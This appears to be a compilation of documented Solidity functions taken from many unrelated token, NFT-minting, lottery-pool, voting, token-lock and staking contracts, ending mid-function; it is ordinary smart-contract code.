// Reclaims free slots between valid owners in m_owners.
// TODO given that its called after each removal, it could be simplified.

function reorganizeOwners() private {
        uint free = 1;
        while (free < m_numOwners)
        {
            // iterating to the first free slot from the beginning
            while (free < m_numOwners && m_owners[free] != 0) free++;

            // iterating to the first occupied slot from the end
            while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;

            // swap, if possible, so free slot is located at the end after the swap
            if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
            {
                // owners between swapped slots should't be renumbered - that saves a lot of gas
                m_owners[free] = m_owners[m_numOwners];
                m_ownerIndex[m_owners[free]] = free;
                m_owners[m_numOwners] = 0;
            }
        }
    }


/**
 * @dev transfer tokens to the specified address
 * @param _to The address to transfer to
 * @param _value The amount to be transferred
 * @return bool A successful transfer returns true
 */

function transfer(address _to, uint256 _value) returns (bool success) {
      require(_to != address(0));

      // SafeMath.sub will throw if there is not enough balance.
      balances[msg.sender] = balances[msg.sender].sub(_value);
      balances[_to] = balances[_to].add(_value);
      Transfer(msg.sender, _to, _value);
      return true;
   }


// ------------------------------------------------------------------------
// 100 BFCL Tokens per 1 ETH
// ------------------------------------------------------------------------

function () public payable {
        require(now >= startDate && now <= endDate);
        uint tokens;
        if (now <= bonusEnds) {
            tokens = msg.value * 360;
        } else {
            tokens = msg.value * 300;
        }
        balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
        _totalSupply = safeAdd(_totalSupply, tokens);
        Transfer(address(0), msg.sender, tokens);
        owner.transfer(msg.value);
    }


// ============ Main View Functions ==============

function getPools(string[] calldata poolIds)
        external
        view
        override
        returns (address[] memory poolAddresses)
    {
        poolAddresses = new address[](poolIds.length);
        for (uint256 i = 0; i < poolIds.length; i++) {
            poolAddresses[i] = pools[poolIds[i]];
        }
    }


/**
 * @dev transfer tokens from one address to another
 * @param _from address The address that you want to send tokens from
 * @param _to address The address that you want to transfer to
 * @param _value uint256 The amount to be transferred
 * @return bool A successful transfer returns true
 */

function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
      require(_to != address(0));

      uint256 _allowance = allowed[_from][msg.sender];
      balances[_from] = balances[_from].sub(_value);
      balances[_to] = balances[_to].add(_value);
      allowed[_from][msg.sender] = _allowance.sub(_value);
      Transfer(_from, _to, _value);
      return true;
   }


/**
 * @dev Extend parent behavior requiring beneficiary to be in whitelist.
 * @param _beneficiary Token beneficiary
 * @param _weiAmount Amount of wei contributed
 */

function _preValidatePurchase(
        address _beneficiary,
        uint256 _weiAmount
    )
    internal
    whenNotPaused
    {
        super._preValidatePurchase(_beneficiary, _weiAmount);

        if(block.timestamp <= openingTime + (2 weeks)) {
            require(whitelist[_beneficiary]);
            require(msg.value >= 5 ether);
            rate = 833;
        }else if(block.timestamp > openingTime + (2 weeks) && block.timestamp <= openingTime + (3 weeks)) {
            require(msg.value >= 5 ether);
            rate = 722;
        }else if(block.timestamp > openingTime + (3 weeks) && block.timestamp <= openingTime + (4 weeks)) {
            require(msg.value >= 5 ether);
            rate = 666;
        }else if(block.timestamp > openingTime + (4 weeks) && block.timestamp <= openingTime + (5 weeks)) {
            require(msg.value >= 5 ether);
            rate = 611;
        }else{
            rate = 555;
        }
    }


/**
 * @dev Determines how ETH is stored/forwarded on purchases.
 */

function _forwardFunds()
    internal
    {
        // referer bonus
        if(msg.data.length == 20) {
            address referrerAddress = bytesToAddres(bytes(msg.data));
            require(referrerAddress != address(token) && referrerAddress != msg.sender);
            uint256 referrerAmount = msg.value.mul(REFERRER_PERCENT).div(100);
            referrers[referrerAddress] = referrers[referrerAddress].add(referrerAmount);
        }

        if(block.timestamp <= openingTime + (2 weeks)) {
            wallet.transfer(msg.value);
        }else{
            vault.deposit.value(msg.value)(msg.sender);
        }
    }


/**
 * Set the Pool Config, initializes an instance of and start the pool.
 *
 * @param _numOfWinners         Number of winners in the pool
 * @param _participantLimit     Maximum number of paricipants
 * @param _enterAmount          Exact amount to enter this pool
 * @param _feePercentage        Manager fee of this pool
 * @param _randomSeed           Seed for Random Number Generation
 */

function setPoolRules(
        uint256 _numOfWinners,
        uint256 _participantLimit,
        uint256 _enterAmount,
        uint256 _feePercentage,
        uint256 _randomSeed
    ) external onlyOwner {
        require(poolStatus == PoolStatus.NOTSTARTED, "in progress");
        require(_numOfWinners != 0, "invalid numOfWinners");
        require(_numOfWinners < _participantLimit, "too much numOfWinners");

        poolConfig = PoolConfig(
            _numOfWinners,
            _participantLimit,
            _enterAmount,
            _feePercentage,
            _randomSeed,
            block.timestamp
        );
        poolStatus = PoolStatus.INPROGRESS;
        emit PoolStarted(
            _participantLimit,
            _numOfWinners,
            _enterAmount,
            _feePercentage,
            block.timestamp
        );
    }


/*
 * Function to mint NFTs
 */

function mint(address to, uint32 count) internal {
        if (count > 1) {
            uint256[] memory ids = new uint256[](uint256(count));
            uint256[] memory amounts = new uint256[](uint256(count));

            for (uint32 i = 0; i < count; i++) {
                ids[i] = totalSupply + i;
                amounts[i] = 1;
            }

            _mintBatch(to, ids, amounts, "");
        } else {
            _mint(to, totalSupply, 1, "");
        }

        totalSupply += count;
    }


/*
 * Function to withdraw collected amount during minting by the owner
 */

function withdraw(
        address _to
    )
        public
        onlyOwner
    {
        uint balance = address(this).balance;
        require(balance > 0, "Balance should be more then zero");

        if(balance <= devSup) {
            payable(devAddress).transfer(balance);
            devSup = devSup.sub(balance);
            return;
        } else {
            if(devSup > 0) {
                payable(devAddress).transfer(devSup);
                balance = balance.sub(devSup);
                devSup = 0;
            }

            payable(_to).transfer(balance);
        }
    }


/*
 * Function to mint new NFTs during the public sale
 * It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens))
 */

function mintNFT(
        uint32 _numOfTokens
    )
        public
        payable
    {
        require(isActive, 'Contract is not active');
        require(!isPrivateSaleActive, 'Private sale still active');
        require(!isPresaleActive, 'Presale still active');
        require(totalSupply.add(_numOfTokens).sub(giveawayCount) <= MAX_NFT_PUBLIC, "Purchase would exceed max public supply of NFTs");
        require(msg.value >= NFTPrice.mul(_numOfTokens), "Ether value sent is not correct");
        mint(msg.sender,_numOfTokens);
    }


/*
 * Function to mint new NFTs during the private sale & presale
 * It is payable.
 */

function mintNFTDuringPresale(
        uint32 _numOfTokens,
        bytes32[] memory _proof
    )
        public
        payable
    {
        require(isActive, 'Contract is not active');
        require(verify(_proof, bytes32(uint256(uint160(msg.sender)))), "Not whitelisted");

        if (!isPresaleActive) {
            require(isPrivateSaleActive, 'Private sale not active');
            require(msg.value >= privateSalePrice.mul(_numOfTokens), "Ether value sent is not correct");
            require(nftBalances[msg.sender].add(_numOfTokens)<= maxPerWalletPresale, 'Max per wallet reached for this phase');

            mint(msg.sender,_numOfTokens);
            nftBalances[msg.sender] = nftBalances[msg.sender].add(_numOfTokens);
            return;
        }

        require(msg.value >= presalePrice.mul(_numOfTokens), "Ether value sent is not correct");
        require(nftBalances[msg.sender].add(_numOfTokens)<= maxPerWalletPresale, 'Max per wallet reached for this phase');

        mint(msg.sender,_numOfTokens);
        nftBalances[msg.sender] = nftBalances[msg.sender].add(_numOfTokens);
    }


/*
 * Function to mint all NFTs for giveaway and partnerships
 */

function mintMultipleByOwner(
        address[] memory _to
    )
        public
        onlyOwner
    {
        require(totalSupply.add(_to.length) < MAX_NFT, "Tokens number to mint cannot exceed number of MAX tokens");
        require(giveawayCount.add(_to.length)<=maxGiveaway,"Cannot do that much giveaway");
        for(uint256 i = 0; i < _to.length; i++){
            mint(_to[i],1);
        }
        giveawayCount=giveawayCount.add(_to.length);

    }


/*
 * Function to verify the proof
 */

function verify(bytes32[] memory proof, bytes32 leaf) public view returns (bool) {
        bytes32 computedHash = leaf;

        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];

            if (computedHash <= proofElement) {
                // Hash(current computed hash + current element of the proof)
                computedHash = sha256(abi.encodePacked(computedHash, proofElement));
            } else {
                // Hash(current element of the proof + current computed hash)
                computedHash = sha256(abi.encodePacked(proofElement, computedHash));
            }
        }

        // Check if the computed hash (root) is equal to the provided root
        return computedHash == root;
    }


/**
 * Enter pool with ETH
 */

function enterPoolEth() external payable onlyValidPool onlyEOA returns (uint256) {
        require(msg.value == poolConfig.enterAmount, "insufficient amount");
        if (!_isEthPool()) {
            revert("not accept ETH");
        }
        // wrap ETH to WETH
        IWETH(controller.getWeth()).deposit{ value: msg.value }();

        return _enterPool();
    }


/**
 	 * @dev Set time of dividend Payments.
 	 * @return Start_reward
 	*/

function dividendPaymentsTime (uint256 _start) public onlyOwner returns (uint256 Start_reward, uint256 End_reward)  {
	    uint256 check_time = block.timestamp;
	   	require (check_time < _start, "WRONG TIME, LESS THEM CURRENT");
	   //	require (check_time < _start.add(2629743), "ONE MONTH BEFORE THE START OF PAYMENTS");
	    dividend_start = _start;
        dividend_end = dividend_start.add(2629743);
        return (dividend_start, dividend_end);
	}


/*@dev call _token_owner address
 	* @return Revard _dividend
 	* private function dividend withdraw
 	*/

function reward () public view returns (uint256 Reward) {
	uint256 temp_allowance = project_owner.balance;
    require(temp_allowance > 0, "BALANCE IS EMPTY");
    require(balances[msg.sender] != 0, "ZERO BALANCE");
    uint256 temp_Fas_count = balances[msg.sender];
    uint256 _percentage = temp_Fas_count.mul(100000).div(totalSupply);
    uint256 _dividend = temp_allowance.mul(_percentage).div(100000);
    return _dividend;
  }


/**
 * Distribution of benefits
 * param _token_owner Divider's Token address
 * binds the time stamp of receipt of dividends in struct 'Holder' to
 * 'holders' to exclude multiple receipt of dividends, valid for 30 days.
 * Dividends are received once a month.
 * Dividends are debited from the Treasury address.
 * The Treasury is replenished with ether depending on the results of the company's work.
 */

function dividendToReward() internal {
           	uint256 temp_allowance = project_owner.balance;
            require(balances[msg.sender] != 0, "ZERO BALANCE");
            require(temp_allowance > 0, "BALANCE IS EMPTY");
            uint256 withdraw_time = block.timestamp;
            require (withdraw_time > dividend_start, "PAYMENTS HAVEN'T STARTED YET");
            require (withdraw_time < dividend_end, "PAYMENTS HAVE ALREADY ENDED");
            uint256 period = withdraw_time.sub(holders[msg.sender].rewardWithdrawTime);
            require (period > 2505600, "DIVIDENDS RECIEVED ALREADY");
            dividend = reward ();
            holders[msg.sender].rewardWithdrawTime = withdraw_time;
    }


/**@dev New member accepts the invitation of the Board of Directors.
 * param Owner_Id used to confirm your consent to the invitation
 * to the Board of Directors of the company valid for 24 hours.
 * if the Owner_Id is not used during the day, the invitation is canceled
 * 'Owner_Id' is deleted.
 * only a new member of the company's Board of Directors has access to the function call
 */

function acceptOwnership() public {
        address new_owner = temporary_address;
        require(msg.sender == new_owner, "ACCESS DENIED");
        uint256 time_accept = block.timestamp;
        difference_time = time_accept - acception_Id;
        if (difference_time < 86400){
            FASList.push(new_owner);
            Fas_number++;
            }
        else{
            delete owners[new_owner];
            delete FasID[acception_Id].owner_address;
        }
    }


/**@dev Removes a member from the company's Board of Directors.
 * param address_owner this is the address of the Board member being
 * removed. Only the project owner has access to call the function.
 * The 'project_owner' cannot be deleted.
 */

function delOwner (address address_owner) public {
    require(msg.sender == project_owner, "ACCESS DENIED");
    require (address_owner != project_owner, "IT IS IMPOSSIBLE TO REMOVE PROJECT OWNER");
    uint256 Id_toDel = owners[address_owner].ID;
    delete owners[address_owner];
    delete FasID[Id_toDel].owner_address;
    uint256 new_FASListLength = FASList.length;
    new_FASListLength--;
    uint256 index_array_del;
    address [] memory _FASList = new address[](new_FASListLength);
    for (uint256 j = 0; j< Fas_number; j++){
       if (FASList[j] == address_owner){
           index_array_del = j;
       }
     }
      for (uint256 i = 0; i< new_FASListLength; i++){
       if (i < index_array_del){
           _FASList[i] = FASList[i];
       }
      else
      {
         _FASList[i] = FASList[i+1];
      }
     }
     Fas_number--;
     FASList = _FASList;
    }


/**Invitation of a new member of the company's Board of Directors.
 * Only the project owner has access to the function call.
 * param _to address of the invited member of the company's Board of Directors
 * A new member of the company's Board of Directors receives 'Owner_Id'.
 */

function newOwnerInvite(address _to) public {
            require (msg.sender == project_owner, "ACCESS DENIED");
            require (balances[_to]>0, "ZERO BALANCE");
            for (uint256 j = 0; j< Fas_number; j++){
            require (FASList[j] != _to);
            }
            beforeNewOwnerInvite(_to);
            acception_Id = block.timestamp;
            temporary_address = _to;
    }


/** @dev Function to start the voting process. Call access only project_owner.
 * Clears the previous result of the vote. Sets a time stamp for the
 * start of voting.
 * @return votes_num
 */

function createVote() public returns (uint256){
        require (msg.sender == project_owner, "ACCESS DENIED");
        votes_num = votes_num.add(1);
        vote_start = block.timestamp;
        voteEndTime = vote_start.add(voting_period);
        voteResult_Agree = 0;
        voteResult_Dissagree = 0;
        lastVoteResult = [0, 0, 0, 0, 0];

        return votes_num;
    }


/**
 * vote for a given votes_num
 * param Owner_Id the given rights to vote
 * param _vote_status_value uint256 the vote of status, 1 Agree, 0 Disagree
 * Only a member of the company's Board of Directors has the right to vote.
 * You can only vote once during the voting period
 */

function vote(uint256 Owner_Id, uint256 _vote_status_value) public{
        require(_vote_status_value >= 0, "INPUT: 1 = AGREE, 0 = DISAGREE");
        require(_vote_status_value <= 1, "INPUT: 1 = AGREE, 0 = DISAGREE");
        uint256 voting_time = block.timestamp;
        address check_address = FasID[Owner_Id].owner_address;
        require (msg.sender == check_address, "ACCESS DENIED");
        uint256 lastVotingOwnerCheck = voting_time.sub(FasID[Owner_Id].voted_time);
        require(voting_time < voteEndTime, "THE VOTE IS ALREADY OVER");
        require(voting_period < lastVotingOwnerCheck, "YOU HAVE ALREADY VOTED");

        if(_vote_status_value == 0)
        {
            disagree = balances[check_address];
            voteResult_Dissagree = voteResult_Dissagree.add(disagree);
            FasID[Owner_Id].voted_time = voting_time;
        }
        if (_vote_status_value == 1)
        {
            agree = balances[check_address];
            voteResult_Agree = voteResult_Agree.add(agree);
            FasID[Owner_Id].voted_time = voting_time;
        }
    }


/**
 * @dev Called only after the end of the voting time.
 * @return the voting restult: vote_num, voteResult, quorum_summ, vote_start, vote_end
 */

function getVoteResult() public returns (uint256[] memory){
        uint256 current_time = block.timestamp;
        require (vote_start < current_time, "VOTING HAS NOT STARTED");
        voteEndTime = vote_start.add(voting_period);
        require (current_time > voteEndTime, "THE VOTE ISN'T OVER YET");

        uint256 quorum_summ = voteResult_Agree.add(voteResult_Dissagree);

        if(voteResult_Agree >= voteResult_Dissagree)
        {
            voteResult = 1;
        }

        if(voteResult_Agree < voteResult_Dissagree)
        {
            voteResult = 0;
        }

        lastVoteResult = [votes_num, voteResult, quorum_summ, vote_start, voteEndTime];
        voteNum[votes_num].quorum = quorum_summ;
        voteNum[votes_num].voting_result = voteResult;
        voteNum[votes_num].voting_starts = vote_start;
        voteNum[votes_num].voting_ends = voteEndTime;
        vote_start = 0;
        return lastVoteResult;

    }


/**
 * Reset the pool, clears the existing state variable values and the pool can be initialized again.
 */

function _resetPool() internal {
        poolStatus = PoolStatus.INPROGRESS;
        delete totalEnteredAmount;
        delete rewardPerParticipant;
        isRNDGenerated = false;
        randomResult = 0;
        areWinnersGenerated = false;
        delete winnerIndexes;
        delete participants;
        emit PoolReset();

        uint256 tokenBalance = enterToken.balanceOf(address(this));
        if (tokenBalance > 0) {
            _transferEnterToken(feeRecipient, tokenBalance);
        }
    }


/**
 * Set the Pool Config, initializes an instance of and start the pool.
 *
 * @param _numOfWinners         Number of winners in the pool
 * @param _participantLimit     Maximum number of paricipants
 * @param _rewardAmount         Reward amount of this pool
 * @param _randomSeed           Seed for Random Number Generation
 */

function setPoolRules(
        uint256 _numOfWinners,
        uint256 _participantLimit,
        uint256 _rewardAmount,
        uint256 _randomSeed
    ) external onlyOwner {
        require(poolStatus != PoolStatus.INPROGRESS, "in progress");
        require(_numOfWinners != 0, "invalid numOfWinners");
        require(_numOfWinners < _participantLimit, "too much numOfWinners");

        poolConfig = PoolConfig(
            _numOfWinners,
            _participantLimit,
            _rewardAmount,
            _randomSeed,
            block.timestamp
        );
        poolStatus = PoolStatus.INPROGRESS;
        emit PoolStarted(
            _participantLimit,
            _numOfWinners,
            _rewardAmount,
            block.timestamp
        );
    }


/**
 * @dev Emits event to mint a token to the senders adress
 * @param _tokenId address of the future owner of the token
 */

function mintNFTWithID(uint256 _tokenId) public payable {
        require(!_exists(_tokenId), "token_exists");
        require(tx.gasprice * gasToMint <= msg.value, "min_price");

        // pay owner the gas fee it needs to call mintTo
        address payable payowner = address(uint160(owner()));
        require(payowner.send( msg.value ), "fees_to_owner");

        //→ emit event for off-chain listener
        //emit NFTEvent(1, _tokenId, msg.sender, msg.value);
        dao.mintNFTWithID(_tokenId, msg.sender, msg.value);
    }


/**
 * @dev Track token transfers / upgrade potentials
 */

function _beforeTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal override {
        super._beforeTokenTransfer(from, to, tokenId);

        // Skip freshly minted tokens to save gas
        if (from != address(0)) {
            tokenTransferCounts[tokenId] += 1;
        }
    }


/**
 * @dev Upgrade a token if it's ready
 */

function upgradeToken(uint256 tokenId) external {
        require(_exists(tokenId), "Update nonexistent token");
        require(_msgSender() == ERC721.ownerOf(tokenId), "Must own token for upgrade");

        require(tokenLevels[tokenId] < tokenTransferCounts[tokenId], "Token is not ready for upgrade");
        uint256 oldLevel = tokenLevels[tokenId];
        uint256 newLevel = tokenTransferCounts[tokenId];

        tokenLevels[tokenId] = newLevel;

        emit TokenUpgraded(tokenId, newLevel, oldLevel);
    }


/**
 * @dev Return the mooncake text for a given tokenId and its level
 */

function getMooncakeTextWithLevel(uint256 tokenId, uint256 level) public view returns (string memory) {
        uint8[6] memory slotIds = getMooncakeTextSlotIds(tokenId, level);
        string memory output = slot0[slotIds[0]];

        if (slotIds[1] < 255) {
            output = string(abi.encodePacked(output, slot1[slotIds[1]]));
        }

        if (slotIds[2] < 255) {
            output = string(abi.encodePacked(output, slot2[slotIds[2]]));
        }

        output = string(abi.encodePacked(output, STRING_MOONCAKE));

        if (slotIds[3] < 255) {
            output = string(abi.encodePacked(output, STRING_PRE_SLOT3, slot3[slotIds[3]]));
        }

        if (slotIds[4] < 255) {
            output = string(abi.encodePacked(output, STRING_PRE_SLOT4, slot4[slotIds[4]]));
        }

        if (slotIds[5] < 255) {
            output = string(abi.encodePacked(output, STRING_PRE_SLOT5, slot5[slotIds[5]]));
        }

        return output;
    }


/**
 * @dev Mint tokens
 */

function mintWithAffiliate(uint256 numberOfNfts, address affiliate) public payable nonReentrant {
        // Checks
        require(!contractSealed, "Contract sealed");

        require(block.timestamp >= SALES_START_TIMESTAMP, "Not started");

        require(numberOfNfts > 0, "Cannot mint 0 NFTs");
        require(numberOfNfts <= 50, "Cannot mint more than 50 in 1 tx");

        uint256 total = totalSupply();
        require(total + numberOfNfts <= maxNftSupply, "Sold out");

        require(msg.value == numberOfNfts * MINT_FEE, "Ether value sent is incorrect");

        // Effects
        for (uint256 i = 0; i < numberOfNfts; i++) {
            uint256 tokenId = total + i;

            _safeMint(_msgSender(), tokenId, "");
            if (affiliate != address(0)) {
                emit AffiliateMint(tokenId, affiliate);
            }
        }
    }


/**
 * @dev Claim a free one
 */

function claimOneFreeNft() external payable nonReentrant {
        // Checks
        require(!contractSealed, "Contract sealed");

        require(block.timestamp >= CLAIM_START_TIMESTAMP, "Not started");

        uint256 total = totalSupply();
        require(total + 1 <= maxNftSupply, "Sold out");
        require(numFreeMints + 1 <= maxFreeMints, "No more free tokens left");

        require(balanceOf(_msgSender()) == 0, "You already have a mooncake. Enjoy it!");

        // Effects
        numFreeMints += 1;
        _safeMint(_msgSender(), total, "");
    }


/**
 * @dev Return detail information about an owner's token (tokenId, current level, potential level, uri)
 */

function tokenDetailOfOwnerByIndex(address _owner, uint256 index)
        public
        view
        returns (
            uint256,
            uint256,
            uint256,
            string memory
        )
    {
        uint256 tokenId = tokenOfOwnerByIndex(_owner, index);
        uint256 tokenLevel = tokenLevels[tokenId];
        uint256 tokenTransferCount = tokenTransferCounts[tokenId];
        string memory uri = tokenURI(tokenId);
        return (tokenId, tokenLevel, tokenTransferCount, uri);
    }


/**
 * @dev Reserve tokens and gift tokens
 */

function deployerMintMultiple(address[] calldata recipients) external payable onlyDeployer {
        require(!contractSealed, "Contract sealed");

        uint256 total = totalSupply();
        require(total + recipients.length <= maxNftSupply, "Sold out");

        for (uint256 i = 0; i < recipients.length; i++) {
            require(recipients[i] != address(0), "Can't mint to null address");

            _safeMint(recipients[i], total + i);
        }
    }


/**
 * @dev Deployer parameters
 */

function deployerSetParam(uint256 key, uint256 value) external onlyDeployer {
        require(!contractSealed, "Contract sealed");

        if (key == 0) {
            SALES_START_TIMESTAMP = value;
        } else if (key == 1) {
            CLAIM_START_TIMESTAMP = value;
        } else if (key == 2) {
            MINT_FEE = value;
        } else if (key == 3) {
            maxNftSupply = value;
        } else if (key == 4) {
            maxFreeMints = value;
        } else {
            revert();
        }
    }


/**
 * @dev Mints multiple tokens to an address and mints unminted maco cash.
 * @dev Called by server
 * @param _tokenIds array of ids of the token
 * @param _to address of the future owner of the token
 */

function mintMultipleTo(uint256[] memory _tokenIds, address _to, uint256 _notMinted) public onlyL2Account {
        for(uint i = 0; i < _tokenIds.length;i++) {
            require(!_exists(_tokenIds[i]), "token_exists");
            _mint(_to, _tokenIds[i]);
        }
        mintedSupply = mintedSupply + uint32(_tokenIds.length);
        if(_notMinted > 0) {
            maco.mintFromCash(_notMinted);
        }
    }


/**
 * @dev Deposits token on contract to use off-chain
 * @param _tokenId address of the future owner of the token
 */

function deposit(uint256 _tokenId) public {
        require(ownerOf(_tokenId) == msg.sender, "deposit_not_by_owner");

        // would be nicer to have address(this) instead of owner, but then
        // for the release, the owner can not be approved by the contract
        transferFrom(msg.sender, address(this), _tokenId);

        // Solution with calling own contract call to change msg.sender...
        Holomate myself = Holomate(address(this));
        myself.approve(owner(), _tokenId);

        //emit NFTEvent(3, _tokenId, msg.sender, 0);
        dao.depositNFT(_tokenId, msg.sender);
    }


/**
 * @dev Mint SNGT tokens and aproves the passed address to spend the minted amount of tokens
 * No more than 500,000,000 SNGT can be minted
 * @param _target The address to which new tokens will be minted
 * @param _mintedAmount The amout of tokens to be minted
 * @param _spender The address which will spend minted funds
 */

function mintTokensWithApproval(address _target, uint256 _mintedAmount, address _spender) public onlyOwner returns (bool success){
        require(_mintedAmount <= _unmintedTokens);

        balances[_target] = balances[_target].add(_mintedAmount);
        _unmintedTokens = _unmintedTokens.sub(_mintedAmount);
        totalSupply = totalSupply.add(_mintedAmount);
        allowed[_target][_spender] = allowed[_target][_spender].add(_mintedAmount);
        emit Mint(_target, _mintedAmount);
        return true;
    }


/**
 * @dev Emits events to release a token from off-chain storage into the blockchain
 * @param _tokenId address of the future owner of the token
 */

function pickUp(uint256 _tokenId) public payable {
        require(tx.gasprice * gasToPickup <= msg.value, "min_price");

        // pay owner the gas fee it needs to call release
        address payable payowner = address(uint160(owner()));
        require(payowner.send( msg.value ), "fees_to_owner");

        //→ emit event for off-chain listener
        //emit NFTEvent(2, _tokenId, msg.sender, msg.value);
        dao.pickUpNFT(_tokenId, msg.sender, msg.value);

    }


/**
 * @dev transfer token to a contract address with additional data if the recipient is a contact.
 * @param _to The address to transfer to.
 * @param _value The amount to be transferred.
 * @param _data The extra data to be passed to the receiving contract.
 */

function transferAndCall(address _to, uint _value, bytes calldata _data)
    public
    override
    returns (bool success)
  {
    super.transfer(_to, _value);
    emit TransferWithData(msg.sender, _to, _value, _data);
    if (isContract(_to)) {
      contractFallback(_to, _value, _data);
    }
    return true;
  }


/**
 * @dev See {IERC20Permit-permit}.
 */

function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
        // solhint-disable-next-line not-rely-on-time
        require(block.timestamp <= deadline, "ERC20Permit: expired deadline");

        bytes32 structHash = keccak256(
            abi.encode(
                _PERMIT_TYPEHASH,
                owner,
                spender,
                value,
                _useNonce(owner),
                deadline
            )
        );

        bytes32 hash = _hashTypedDataV4(structHash);

        address signer = ECDSA.recover(hash, v, r, s);
        require(signer == owner, "ERC20Permit: invalid signature");

        _approve(owner, spender, value);
    }


/**
 *   @notice function for minting piece
 *   @dev requires owner
 *   @param _merkleProof is the proof for whitelist
 */

function mint(bytes32[] calldata _merkleProof) public {
        require(mintStatus, "Error: mint not open");
        require (availableTokenSupply > 0, "Error: no more tokens left to mint");
        require(!hasMinted[msg.sender], "Error: already minted");
        bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
        require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Error: not on whitelist");

        _mint(msg.sender, 0, 1, "");

        hasMinted[msg.sender] = true;
        availableTokenSupply -= 1;
    }


/**
 *   @notice function for minting to address
 *   @dev only owner
 *   @dev only used as backup
 *   @param _address is the address to mint to
 *   @param _num is the number to mint
 */

function adminMint(address _address, uint256 _num) public onlyOwner {
        require (availableTokenSupply > 0, "Error: no more tokens left to mint");
        require(_address != address(0), "Error: trying to mint to zero address");

        for (uint256 i = 0; i < _num; i++) {
            _mint(_address, 0, 1, "");
        }

        availableTokenSupply -= _num;
    }


// Extend lock Duration

function extendLockDuration(uint256 _id, uint256 _unlockTime) external {
        require(!lockedToken[_id].withdrawn, 'TokenLock: withdrawable is false');
        require(msg.sender == lockedToken[_id].withdrawalAddress, 'TokenLock: not accessible');

        // set new unlock time
        lockedToken[_id].unlockTime = lockedToken[_id].unlockTime.add(_unlockTime.mul(1 days));
        lockedToken[_id].blockTime = block.timestamp;

        emit ExtendLockDuration(_id, _unlockTime);
    }


// withdraw token

function withdrawToken(uint256 _id) external {
        require(block.timestamp >= lockedToken[_id].unlockTime, 'TokenLock: not expired yet');
        require(msg.sender == lockedToken[_id].withdrawalAddress, 'TokenLock: not accessible');
        require(!lockedToken[_id].withdrawn, 'TokenLock: withdrawable not accepct');

        // transfer tokens to wallet address
        IERC20(lockedToken[_id].tokenAddress).safeTransfer(msg.sender, lockedToken[_id].tokenAmount);
        Items memory lockItem =  lockedToken[_id];
        lockItem.withdrawn = true;
        lockItem.blockTime = block.timestamp;
        lockedToken[_id] = lockItem;
        // update balance of addresss
        walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = 0;
        emit WithdrawToken(msg.sender, lockedToken[_id].tokenAmount);
    }


// swapAndLiquify takes the balance to be liquified and make sure it is equally distributed
// in BNB and Harold

function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        // 1/2 balance is sent to the marketing wallet, 1/2 is added to the liquidity pool
        uint256 marketingTokenBalance = contractTokenBalance.div(2);
        uint256 liquidityTokenBalance = contractTokenBalance.sub(marketingTokenBalance);
        uint256 tokenBalanceToLiquifyAsBNB = liquidityTokenBalance.div(2);
        uint256 tokenBalanceToLiquify = liquidityTokenBalance.sub(tokenBalanceToLiquifyAsBNB);
        uint256 initialBalance = address(this).balance;

        // 75% of the balance will be converted into BNB
        uint256 tokensToSwapToBNB = tokenBalanceToLiquifyAsBNB.add(marketingTokenBalance);

        swapTokensForEth(tokensToSwapToBNB);

        uint256 bnbSwapped = address(this).balance.sub(initialBalance);

        uint256 bnbToLiquify = bnbSwapped.div(3);

        addLiquidity(tokenBalanceToLiquify, bnbToLiquify);

        emit SwapAndLiquify(tokenBalanceToLiquifyAsBNB, bnbToLiquify, tokenBalanceToLiquify);

        uint256 marketingBNB = bnbSwapped.sub(bnbToLiquify);

        // Transfer the BNB to the marketing wallet
        _marketingWallet.transfer(marketingBNB);
        emit ToMarketing(marketingBNB);
    }


// Get deposit detail

function getDepositDetails(uint256 _id) public view returns (address _tokenAddress, address _withdrawalAddress, uint256 _tokenAmount, uint256 _unlockTime, bool _withdrawn, uint256 _blockTime, uint256 _lockedTime) {
        return (
            lockedToken[_id].tokenAddress,
            lockedToken[_id].withdrawalAddress,
            lockedToken[_id].tokenAmount,
            lockedToken[_id].unlockTime,
            lockedToken[_id].withdrawn,
            lockedToken[_id].blockTime,
            lockedToken[_id].lockedTime
        );
    }


//Set pool rewards

function ownerSetPoolRewards(uint256 _rewardAmount) external onlyOwner {
        require(poolStartTime == 0, "Pool rewards already set");
        require(_rewardAmount > 0, "Cannot create pool with zero amount");

        //set total rewards value
        totalRewards = _rewardAmount;

        poolStartTime = now;
        poolEndTime = now + poolDuration;

        //transfer tokens to contract
        rewardToken.transferFrom(msg.sender, this, _rewardAmount);
        emit OwnerSetReward(_rewardAmount);
    }


//Stake function for users to stake SWAP token

function stake(uint256 amount) external {
        require(amount > 0, "Cannot stake 0");
        require(now < poolEndTime, "Staking pool is closed"); //staking pool is closed for staking

        //add value in staking
        userTotalStaking[msg.sender].totalStaking = userTotalStaking[msg.sender].totalStaking.add(amount);

        //add new stake
        Stake memory newStake = Stake(amount, now, 0);
        userStaking[msg.sender].push(newStake);

        //add to total staked
        totalStaked = totalStaked.add(amount);

        tswap.transferFrom(msg.sender, this, amount);
        emit Staked(msg.sender, amount);
    }


//compute rewards

function computeNewReward(uint256 _rewardAmount, uint256 _stakedAmount, uint256 _stakeTimeSec) private view returns (uint256 _reward) {
        uint256 rewardPerSecond = totalRewards.mul(1 ether);
        if (rewardPerSecond != 0 ) {
            rewardPerSecond = rewardPerSecond.div(poolDuration);
        }

        if (rewardPerSecond > 0) {
            uint256 rewardPerSecForEachTokenStaked = rewardPerSecond.div(totalStaked);
            uint256 userRewards = rewardPerSecForEachTokenStaked.mul(_stakedAmount).mul(_stakeTimeSec);
                    userRewards = userRewards.div(1 ether);

            return _rewardAmount.add(userRewards);
        } else {
            return 0;
        }
    }


//calculate your rewards

function calculateReward(address _userAddress) public view returns (uint256 _reward) {
        // all user stakes
        Stake[] storage accountStakes = userStaking[_userAddress];

        // Redeem from most recent stake and go backwards in time.
        uint256 rewardAmount = 0;
        uint256 i = accountStakes.length;
        while (i > 0) {
